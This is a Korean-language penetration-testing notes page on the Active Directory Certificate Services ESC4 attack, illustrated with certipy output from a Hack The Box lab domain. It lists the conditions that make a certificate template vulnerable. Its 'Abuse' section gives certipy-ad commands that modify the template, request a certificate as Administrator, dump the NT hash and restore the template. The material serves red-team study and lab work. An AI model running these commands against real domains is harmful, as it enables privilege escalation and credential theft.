ESC4

ESC4는 템플릿에 대해 편집 가능한 권한이 있으면 ESC1에 취약한 템플릿으로 수정한 뒤 ESC1 공격을 통해 권한상승 할 수 있는 공격입니다.

    Permissions                                                                                                                                                                  
      Enrollment Permissions                                                                                                                                                     
        Enrollment Rights               : CODER.HTB\PKI Admins                          
      Object Control Permissions                                                                                                                                                 
        Owner                           : CODER.HTB\Erron Black                         
        Full Control Principals         : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins                   
        Write Owner Principals          : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System                                                                                                                 
                                          CODER.HTB\Enterprise Admins                                                                                                            
        Write Dacl Principals           : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System                                                                                                                 
                                          CODER.HTB\Enterprise Admins                
        Write Property Principals       : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System                   
                                          CODER.HTB\Enterprise Admins                                                                                                            
    [!] Vulnerabilities                                                                                                                                                          
      ESC1                              : 'CODER.HTB\\PKI Admins' can enroll, enrollee supplies subject and template allows client authentication                                
      ESC4                              : Template is owned by CODER.HTB\Erron Black  

certipy를 통해서 인증 서버에 있는 템플릿 정보를 확인하면 ACL 목록이 출력되는데 이 중 한가지 권한과 몇가지 조건이 만족될 시 ESC4에 취약합니다.

  1. Enabled : True

  2. Requires Manager Approval : False

  3. Full Control, Write Owner, Write Dacl, Write Property, Owner 중 1개의 권한 소유

Abuse

# ESC4에 취약한 템플릿의 속성을 수정하여 ESC1에 취약하게 변경
certipy-ad template -u <USER> -p <PASS> -template <Template> -save-old -dc-ip <DC-IP> -target <DC FQDN>

# 수정된 템플릿을 통한 ESC1 Abuse
certipy-ad req -ca <CA> -dc-ip <DC-IP> -u <USER> -p <PASS> -template <Template> -target <Target> -upn Administrator@<Domain>

# 획득한 pfx 파일로부터 NT Hash 덤핑
certipy-ad auth -pfx <PFX> -dc-ip <DC-IP>

# 템플릿 복원
certipy-ad template -dc-ip <DC-IP> -u <USER> -p <PASS> -template <Template> -target <Target> -configuration <Template>.json

-save-old 플래그를 사용한 이유는 실무에서 템플릿 수정 시 권한상승에 성공한 이후 원래 상태를 복원하기 위한 백업 플래그입니다.

References

Last updated

Was this helpful?